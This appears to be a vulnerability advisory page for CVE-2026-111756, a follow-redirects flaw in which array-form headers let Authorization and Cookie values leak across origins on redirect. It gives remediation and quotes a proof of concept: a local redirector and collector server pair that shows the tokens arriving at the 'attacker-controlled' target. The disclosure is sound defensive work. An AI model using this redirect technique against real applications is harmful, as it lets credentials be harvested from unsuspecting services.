---
id: "CVE-2026-111756"
kind: "vulnerability"
aliases: ["CVE-2026-111756", "GHSA-q3jh-wrc6-jgq8"]
title: "follow-redirects array-form headers bypass cross-origin credential stripping"
severity: "high"
cvss: 8.2
epss: 0.003650000086054206
exploited: false
status: "open"
category: "package"
products: [{"name": "follow-redirects", "fixed": ["1.16.1"], "affected": ">= 1.16.0, < 1.16.1", "ecosystem": "npm"}]
ecosystems: ["npm"]
tags: ["axios", "cwe-200", "cwe-212", "follow-redirects", "node", "npm", "package", "self-hosted"]
not_affected_if: ["headers-passed-as-object", "no-redirect-following-with-credentials", "version-1.16.1-or-later", "version-below-1.16.0"]
published_at: "2026-10-20T17:58:04+00:00"
first_seen_at: "2026-10-23T19:11:32+00:00"
updated_at: "2026-10-23T21:57:21+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-q3jh-wrc6-jgq8", "first_seen_at": "2026-10-23T19:11:32+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-111756", "first_seen_at": "2026-10-23T21:57:21+00:00"}]
---

# follow-redirects array-form headers bypass cross-origin credential stripping

follow-redirects does not strip Authorization, Cookie, Proxy-Authorization or sensitiveHeaders when the caller passes headers as Node's alternating name/value array, so a cross-origin or HTTPS-to-HTTP redirect forwards those credentials to the redirect target. Any remote server the application contacts can capture them by answering with a redirect.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- npm:follow-redirects affected >= 1.16.0, < 1.16.1 fixed 1.16.1

## How to check

Search the codebase and lockfiles for follow-redirects: run `npm ls follow-redirects` and look for versions >= 1.16.0 and < 1.16.1.
Check whether any code calls follow-redirects http/https request with headers passed as an array (e.g. headers: ["Authorization", ...]) rather than an object.

## Fix

Upgrade follow-redirects to 1.16.1 or later.
Until upgraded, pass headers as a plain object instead of an array, or avoid following redirects for requests that carry credentials.

## Timeline

- 2026-10-23T19:11:32+00:00 ghsa https://github.com/advisories/GHSA-q3jh-wrc6-jgq8
- 2026-10-23T21:57:21+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-111756

## From the sources

### Summary
follow-redirects removes sensitive credential headers (Authorization, Proxy-Authorization, Cookie, and any caller-declared `sensitiveHeaders`) before following a redirect that crosses to a different host or downgrades to a less secure protocol. The removal routine iterates the caller's headers container with `for...in` and matches header names against a filter. This assumes the headers container is a plain object keyed by header names. Node's underlying `http.request`, which follow-redirects is a drop-in replacement for, also accepts headers as an alternating array of names and values. For an array, `for...in` yields the numeric indices `"0"`, `"1"`, `"2"` and so on, which never match a header-name filter, so nothing is removed. An application that sends array-form headers and follows an attacker-controlled cross-origin redirect therefore forwards its Authorization, Cookie, and Proxy-Authorization headers verbatim to the attacker-controlled destination, with no error or warning. The `sensitiveHeaders` option added to fix CVE-2026-40895 / GHSA-r4q5-vmmm-2653 is equally ineffective, because it relies on the same helper. This is an unauthenticated confidentiality vulnerability: any remote server the victim application contacts can harvest the victim's credential headers by responding with a cross-origin redirect.

### Details
The cross-origin credential-stripping control is implemented by `removeMatchingHeaders(regex, headers)` at `index.js:630-640`:

```js
function removeMatchingHeaders(regex, headers) {
  var lastValue;
  for (var header in headers) {          // for...in over an ARRAY yields "0","1","2"...
    if (regex.test(header)) {            // the header-name filter never matches a numeric index
      lastValue = headers[header];
      delete headers[header];
    }
  }
  return (lastValue === null || typeof lastValue === "undefined") ?
    undefined : String(lastValue).trim();
}
```

It is invoked from `_processResponse` for three purposes, all with the caller-supplied `this._options.headers`:

- `index.js:490` - strip the credential filter (`this._headerFilter`, which covers the built-in list Authorization/Proxy-Authorization/Cookie plus any `sensitiveHeaders`) when the redirect crosses origin or downgrades protocol.
- `index.js:470` - strip the `Host` header (`/^host$/i`).
- `index.js:466` - strip `content-*` headers when a 301/302/303 converts POST to GET.

The caller-supplied headers container is passed straight through to each redirected request via `nativeProtocol.request(this._options)` at `index.js:352`. `_sanitizeOptions` (index.js:300-331) only replaces `options.headers` when it is falsy, so an array is left untouched.

Node's `http.request` accepts `options.headers` as an alternating array of names and values (for example `["Authorization", "Bearer ...", "Cookie", "session=..."]`). This is a supported way to control header ordering and duplication. For such an array, `for (var header in headers)` iterates the numeric indices `"0"`, `"1"`, `"2"`, and the header-name regex never matches any of them, so `removeMatchingHeaders` deletes nothing. Every one of the three strip operations above silently no-ops:

- The built-in credential headers (Authorization, Cookie, Proxy-Authorization) are forwarded to the cross-origin redirect target.
- Any `sensitiveHeaders` the caller declared are forwarded too.
- The stale `Host` of the previous origin is re-sent to the new origin.
- On a POST-to-GET redirect the `content-*` headers are retained, leaving `Content-Length` inconsistent with the now-empty body.

The primary and highest-impact consequence is disclosure of credential headers. The stale `Host` re-send and the `Content-Length` inconsistency are secondary correctness defects arising from the same root cause.

Root-cause history: the `for...in`-based `removeMatchingHeaders` used for the built-in credential strip has been present since the cross-host Authorization drop was introduced (commit `724087d`, first released in v1.11.0) and is unchanged through 1.16.0. The `sensitiveHeaders` layer was introduced in 1.16.0 (commit `844c4d3`). The behavior was verified directly on both 1.15.11 and 1.16.0.

Suggested remediation: handle or explicitly reject Node's array-form headers. The strictest fix is to detect `Array.isArray(options.headers)` in `_sanitizeOptions` and throw a clear `TypeError` instructing callers to pass an object, so misuse fails loudly instead of silently downgrading security. If array support is desired, extend `removeMatchingHeaders` to walk the array in name/value pairs:

```js
function removeMatchingHeaders(regex, headers) {
  if (Array.isArray(headers)) {
    var lastValue;
    for (var i = 0; i < headers.length; i += 2) {
      if (regex.test(headers[i])) { lastValue = headers[i + 1]; headers.splice(i, 2); i -= 2; }
    }
    return (lastValue === null || typeof lastValue === "undefined") ? undefined : String(lastValue).trim();
  }
  // existing object logic
}
```

Apply the same guard to the `Host` and `content-*` removal paths. Add regression tests that exercise array-form headers across a cross-origin redirect; the current suite only covers object-form headers.

References:
- https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653
- https://github.com/follow-redirects/follow-redirects/commit/724087d696c0bcd55c13ee0f3560c4558138e422
- https://github.com/follow-redirects/follow-redirects/commit/844c4d3 (sensitiveHeaders option)

### PoC
Environment: Node.js v24.18.0 on Windows 11. The underlying Node array-header behavior is long-standing and not version-specific. Run each script from a checkout of follow-redirects at 1.16.0 so that `require("./index.js")` resolves to the library under test.

Precondition check (Node accepts and serializes array-form headers):
```
node -e 'var http=require("http");var s=http.createServer((q,r)=>r.end(JSON.stringify(q.headers)));s.listen(0,"127.0.0.1",()=>{var p=s.address().port;http.request({hostname:"127.0.0.1",port:p,headers:["Authorization","Bearer T","Cookie","c=1"]},res=>{var b="";res.on("data",c=>b+=c);res.on("end",()=>{console.log(JSON.parse(b).authorization, JSON.parse(b).cookie);s.close();});}).end();});'
```
Observed: `Bearer T c=1` (the server receives both headers, confirming array form is valid and delivered).

Minimal form (built-in credential list), `arrayleak.js`:
```js
var followRedirects = require("./index.js");
var http = require("http");
var redirector = http.createServer(function (req, res) {
  req.resume();
  res.writeHead(302, { Location: "http://127.0.0.1:47302/steal" });   // cross-origin (different port)
  res.end();
});
var collector = http.createServer(function (req, res) {
  res.end(JSON.stringify(req.headers));                                // attacker-controlled target
});
redirector.listen(47301, "127.0.0.1", function () {
  collector.listen(47302, "127.0.0.1", function () {
    followRedirects.http.request({
      hostname: "127.0.0.1", port: 47301, path: "/", method: "GET",
      headers: [
        "Host", "127.0.0.1:47301",
        "Authorization", "Bearer ARRAY-FORM-VICTIM-TOKEN",
        "Cookie", "session=ARRAY-FORM-SESSION-ID",
        "X-Custom", "harmless"
      ]
    }, function (res) {
      var body = ""; res.on("data", function (c) { body += c; });
      res.on("end", function () {
        var h = JSON.parse(body);
        console.log("Authorization :", h.authorization || "(stripped - OK)");
        console.log("Cookie        :", h.cookie || "(stripped - OK)");
        redirector.close(); collector.close();
      });
    }).end();
  });
});
```
Observed output (1.16.0 and 1.15.11):
```
Authorization : Bearer ARRAY-FORM-VICTIM-TOKEN     <- credential LEAKED cross-origin
Cookie        : session=ARRAY-FORM-SESSION-ID      <- credential LEAKED cross-origin
```
Control: replacing `headers` with the equivalent object `{ Host: ..., Authorization: ..., Cookie: ... }` and re-running strips both correctly, 

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
